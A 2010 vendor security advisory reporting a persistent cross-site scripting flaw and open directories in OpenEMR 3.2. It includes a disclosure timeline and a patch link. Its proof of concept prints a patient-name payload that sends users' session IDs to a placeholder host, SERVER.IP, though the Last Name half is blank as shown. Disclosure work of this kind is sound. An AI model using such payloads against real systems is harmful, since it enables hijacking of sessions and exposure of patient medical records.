Redspin Security Notice -- RSN-2010-01 Multiple vulnerabilities in OpenEMR Electronic Medical Record Software Overview ---------------- Quote from http://www.oemr.org/ OpenEMR is a free medical practice management, electronic medical records, prescription writing, and medical billing application. These programs are also referred to as electronic health records. OpenEMR is licensed under the General Gnu Public License (General GPL). It is a free open source replacement for medical applications such as Medical Manager, Health Pro, and Misys. It features support for EDI billing to clearing houses such as Availity, MD-Online, MedAvant and ZirMED using ANSI X12. Description ---------------- An issue was discovered with the OpenEMR standard installation. There exists a persistent cross-site scripting (XSS) attack vector, in which a patient may be maliciously named in a way that will send session data to a third party web host. Details ---------------- Vulnerable Product : OpenEMR 3.2 Vulnerability Type : Session-stealing XSS & Directory Listing Discovered by : David Shaw (dshaw@redspin.com) Timeline ---------------- Bug Discovered : May 14, 2010 Vendor Advised : June 1, 2010 Vendor Response : June 2, 2010 Patch Released : June 2, 2010 Public Disclosure : June 23, 2010 Analysis ---------------- Due to an incorrectly sanitized input in the "patient name" field, it is possible to create a malformed patient name that will translate into a persistent cross site scripting exploit. Due to the nature of the form, "First Name" and "Last Name" are reversed in the resulting output. As such, the Javascript injection must start on "last name" and continue on to "first name." Furthermore, there is a comma in between these two outputs which must be taken into account by inserting Javascript comments between the two injections. A working demonstration of this persistent XSS is available in the "Proof of Concept" section of this notice. In addition to the cross-site scripting vulnerability, certain sensitive directories are open by default and world-readable. For example, the database.sql file may be read at http://server/openemr/sql/database.sql Proof of Concept ---------------- Bug #1: Persistent Cross-Site Scripting ~~~~~~~~~~~~~~~~~~~~~~~ Once logged into OpenEMR, navigate to Management->New/Search. The resulting menu will have form inputs for patient information. The malicious input is as follows: (First Name): */I.src='http://SERVER.IP/'+encodeURI(C); (Last Name): When this patient has been inserted, it will show up as a blank name in the patient database. However, when any user attempts to search for a patient or view the list of existing patients, his session ID is sent (silently) to web server logs (in this case, to SERVER.IP). Solution ---------------- A patch was released on June 2, 2010 which mitigates this persistent cross-site scripting attack vector. This script is located on OpenEMR's Sourceforge page: http://sourceforge.net/tracker/index.php?func=detail&aid=3010645&group_id=60081&atid=493003 Additional Notes ---------------- As part of its response to this problem, the OpenEMR project released an early version of this advisory on their Sourceforge developer forum. The original thread is located at: https://sourceforge.net/projects/openemr/forums/forum/202506/topic/3530656 Out of respect for OpenEMR developers, the release of this advisory was postponed until a working patch was released out--despite having an already made the advisory public by their own choice.